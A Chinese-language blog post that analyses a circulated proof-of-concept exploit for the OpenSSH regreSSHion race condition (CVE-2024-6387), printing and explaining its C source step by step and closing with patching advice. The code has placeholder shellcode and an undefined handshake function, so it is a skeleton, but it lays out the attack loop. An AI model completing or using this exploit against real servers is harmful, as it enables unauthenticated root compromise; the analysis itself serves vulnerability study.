漏洞分析|OpenSSH漏洞(CVE-2024-6387)

AttackSatelliteLab 2024-07-16 13:37:01 阅读 95

一、网传漏洞POC信息

漏洞编号:CVE-2024-6387

漏洞名称:OpenSSH regreSSHion 漏洞

POC上传者(作者不确定):7etsuo

发布日期:2024-07-01

漏洞类型:远程代码执行(RCE)

影响范围:8.5p1 <= OpenSSH < 9.8p1,OpenBSD系统不受该漏洞影响

二、漏洞描述

CVE-2024-6387 是OpenSSH中的一个漏洞,它利用了OpenSSH服务器(sshd)在glibc库中的一个信号处理程序中的竞态条件漏洞。具体来说,当SIGALRM信号处理程序调用了异步信号不安全的函数时,导致了远程代码执行(RCE)的可能性。攻击者可以利用此漏洞在目标系统上以root权限执行任意代码。

成功利用该漏洞的攻击者可以以 root 身份进行未经身份验证的远程代码执行 (RCE),在某些特定版本的 32 位操作系统上,攻击者最短需 6-8 小时即可获得最高权限的 root shell。而在 64 位机器上,目前没有在可接受时间内的利用方案,但未来的改进可能使其成为现实。

三、漏洞原理

该漏洞的根源在于OpenSSH服务器的SIGALRM信号处理程序中的异步信号不安全函数调用。攻击者通过精确的时间控制和多次尝试,触发了竞态条件,从而在系统中执行了恶意代码。具体来说,攻击者利用了信号处理程序在处理信号时的脆弱性,通过精确调整休眠时间和发送特制的payload,最终绕过了安全保护机制,实现了远程代码执行。这种竞态条件利用需要多次尝试和精确的时间控制,以确保在正确的时间窗口内触发漏洞。

网传备注:尽管通过Qualys测试这个漏洞利用的效果看起来非常麻烦:在本地虚拟机环境“平均需要尝试约10,000次才能成功,约需3-4小时,而由于ASLR,每次实验成功率只有一半,因此平均需要6-8小时才能获得远程root shell”。

四、利用代码分析

1. 文件头部注释

<code>/** 7etsuo-regreSSHion.c * ------------------------------------------------------------------------- * SSH-2.0-OpenSSH_9.2p1 Exploit * ------------------------------------------------------------------------- * * Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion) * Author : 7etsuo * Date : 2024-07-01 * * Description: * Targets a signal handler race condition in OpenSSH's * server (sshd) on glibc-based Linux systems. It exploits a vulnerability * where the SIGALRM handler calls async-signal-unsafe functions, leading * to rce as root. * * Notes: * 1. Shellcode : Replace placeholder with actual payload. * 2. GLIBC_BASES : Needs adjustment for specific target systems. * 3. Timing parameters: Fine-tune based on target system responsiveness. * 4. Heap layout : Requires tweaking for different OpenSSH versions. * 5. File structure offsets: Verify for the specific glibc version. * ------------------------------------------------------------------------- */

文件头部详细描述了漏洞的基本信息,包括漏洞编号、漏洞名称、作者、发布日期、漏洞类型和影响范围。同时,还对漏洞的原理和利用方法进行了简要说明。

2. 包含的头文件

#include <stdlib.h>#include <unistd.h>#include <time.h>#include <string.h>#include <errno.h>#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>

这些头文件包含了标准库函数和网络编程所需的函数和类型,如 socket、connect、send 等。

3. 定义宏和全局变量

#define MAX_PACKET_SIZE (256 * 1024)#define LOGIN_GRACE_TIME 120#define MAX_STARTUPS 100#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)unsigned char shellcode[] = "\\x90\\x90\\x90\\x90";

MAX_PACKET_SIZE:定义最大数据包大小为256KB。LOGIN_GRACE_TIME:定义登录宽限时间为120秒。MAX_STARTUPS:定义最大启动数为100。CHUNK_ALIGN:定义一个宏用于内存对齐。GLIBC_BASES:定义可能的glibc基地址,用于绕过ASLR(地址空间布局随机化)。shellcode:定义一个占位符shellcode,需要替换为实际的payload。

4. 函数声明

int setup_connection (const char *ip, int port);void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len);void prepare_heap (int sock);void time_final_packet (int sock, double *parsing_time);int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base);

这些是函数的前向声明,用于后续的函数定义。它们分别用于设置连接、发送数据包、准备堆、测量数据包解析时间和尝试利用竞态条件。

5. 函数实现

5.1 设置连接

int setup_connection (const char *ip, int port){ int sock; struct sockaddr_in server_addr;

sock = socket (AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror ("socket"); return -1; }

server_addr.sin_family = AF_INET; server_addr.sin_port = htons (port); server_addr.sin_addr.s_addr = inet_addr (ip);

if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0) { perror ("connect"); close (sock); return -1; }

return sock;}

这个函数用于创建一个TCP连接到目标IP和端口。具体步骤如下:

创建一个TCP socket。

设置服务器地址,包括IP和端口。

尝试连接到服务器,如果失败则返回错误。

5.2 发送数据包

void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len){ unsigned char buffer[MAX_PACKET_SIZE]; memset (buffer, 0, sizeof (buffer)); buffer[0] = packet_type; memcpy (buffer + 1, data, len); send (sock, buffer, len + 1, 0);}

这个函数用于通过socket发送一个数据包。具体步骤如下:

定义一个缓冲区,并清零。

将数据包类型放入缓冲区的第一个字节。

将数据复制到缓冲区中。

通过socket发送缓冲区的数据。

5.3 准备堆

void prepare_heap (int sock){ unsigned char buf[MAX_PACKET_SIZE]; memset(buf, 0x41, sizeof(buf)); // 填充缓冲区,模拟堆布局 send_packet(sock, 0, buf, sizeof(buf)); // 发送填充数据包}

这个函数的作用是通过发送大量填充数据包来准备堆布局。代码中的实现通过将缓冲区填充为特定字符(0x41)并发送数据包来达到这个目的。这有助于在目标系统上触发特定的内存布局,以便后续的竞态条件利用能够成功。

5.4 测量数据包解析时间

void time_final_packet (int sock, double *parsing_time){ struct timespec start, end; unsigned char buf[256]; memset(buf, 0, sizeof(buf));

clock_gettime(CLOCK_MONOTONIC, &start); // 记录开始时间 send_packet(sock, 1, buf, sizeof(buf)); // 发送一个小数据包 recv(sock, buf, sizeof(buf), 0); // 接收服务器的响应 clock_gettime(CLOCK_MONOTONIC, &end); // 记录结束时间

*parsing_time = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1000000000.0; // 计算解析时间}

这个函数用于测量最后一个数据包的解析时间。通过记录发送和接收数据包的时间差,确定数据包的解析时间。这对于竞态条件利用非常关键,因为攻击者需要精确控制时间来触发漏洞。

5.5 尝试利用竞态条件详细分析

这个函数 attempt_race_condition 试图利用竞态条件来触发漏洞,实现远程代码执行。下面是对该函数的详细分析:

int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base){ struct timespec req, rem; unsigned char payload[256];

// 创建包含shellcode的payload memset(payload, 0x90, sizeof(payload)); // 填充NOP指令 memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcode

req.tv_sec = (time_t)parsing_time; req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;

nanosleep(&req, &rem); // 休眠以精确控制时间

send_packet(sock, 2, payload, sizeof(payload)); // 发送包含shellcode的payload

// 验证是否成功 if (recv(sock, payload, sizeof(payload), 0) > 0) { if (strstr((char *)payload, "root") != NULL) return 1; // 成功 }

return 0; // 失败}

详细解释

定义和初始化变量

struct timespec req, rem;unsigned char payload[256];

req 和 rem 是 timespec 结构体,用于指定和保存休眠时间。payload 是一个 256 字节的缓冲区,用于存放恶意负载数据。

创建包含shellcode的payload

memset(payload, 0x90, sizeof(payload)); // 填充NOP指令memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcodememset(payload, 0x90, sizeof(payload));:使用 0x90 (NOP 指令) 填充整个缓冲区。NOP 指令不会执行任何操作,只是继续执行下一条指令。这种填充方式称为 NOP sled,用于确保在代码执行过程中滑向实际的 shellcode。memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode));:将实际的 shellcode 插入到缓冲区的末尾。

计算并设置休眠时间

req.tv_sec = (time_t)parsing_time;req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;req.tv_sec:将 parsing_time 转换为秒部分。req.tv_nsec:将 parsing_time 的小数部分转换为纳秒。

休眠以精确控制时间

nanosleep(&req, &rem); // 休眠以精确控制时间nanosleep(&req, &rem);:使用纳秒级的精确度休眠指定的时间。这对于利用竞态条件非常关键,因为攻击者需要在正确的时间窗口内执行恶意代码。

发送包含shellcode的payload

send_packet(sock, 2, payload, sizeof(payload)); // 发送包含shellcode的payloadsend_packet(sock, 2, payload, sizeof(payload));:通过 socket 发送包含 shellcode 的数据包。

验证是否成功

if (recv(sock, payload, sizeof(payload), 0) > 0) { if (strstr((char *)payload, "root") != NULL) return 1; // 成功 }

return 0; // 失败recv(sock, payload, sizeof(payload), 0) > 0:尝试从目标系统接收响应数据。如果接收到的数据长度大于 0,表示目标系统有响应。if (strstr((char *)payload, "root") != NULL):检查接收到的数据是否包含 "root" 字符串。如果包含,表示成功获得目标系统的 root 权限,返回 1。

如果没有接收到包含 “root” 字符串的响应,则返回 0,表示尝试失败。

6. 漏洞利用主函数

int perform_exploit (const char *ip, int port){ int success = 0; double parsing_time = 0; double timing_adjustment = 0;

for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++) { uint64_t glibc_base = GLIBC_BASES[base_idx]; printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

for (int attempt = 0; attempt < 10000 && !success; attempt++) { if (attempt % 1000 == 0) { printf ("Attempt %d of 10000\n", attempt); }

int sock = setup_connection (ip, port); if (sock < 0) { fprintf (stderr, "Failed to establish connection, attempt %d\n", attempt); continue; }

if (perform_ssh_handshake (sock) < 0) { fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt); close (sock); continue; }

prepare_heap (sock); time_final_packet (sock, &parsing_time);

parsing_time += timing_adjustment;

if (attempt_race_condition (sock, parsing_time, glibc_base)) { printf ("Possible exploitation success on attempt %d with glibc base 0x%lx!\n", attempt, glibc_base); success = 1; } else { timing_adjustment += 0.00001; }

close (sock); usleep (100000); // 100ms delay between attempts } }

return success;}

这个主函数是整个漏洞利用的核心部分。它执行以下步骤:

初始化变量 success、parsing_time 和 timing_adjustment。

循环遍历可能的glibc基地址。

对每个基地址进行多次尝试,每次尝试时:

设置与目标的连接。

执行SSH握手。

准备堆布局。

测量最后一个数据包的解析时间。

尝试利用竞态条件。

如果成功,打印成功信息并退出循环;否则,调整定时参数并继续尝试。

通过这种方法,攻击者能够逐步调整定时参数和尝试不同的glibc基地址,以期成功利用漏洞并获得目标系统的控制权。

五、漏洞修复建议

更新软件:及时更新OpenSSH到最新版本,包含所有安全补丁。

监控日志:定期检查系统日志,发现异常登录或访问行为。

最小权限:确保系统上的服务运行在最小权限用户下,降低潜在风险。

六、参考文档

https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server

https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt

https://mp.weixin.qq.com/s/yptQH9xo5d8Acjw29B_kmg



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。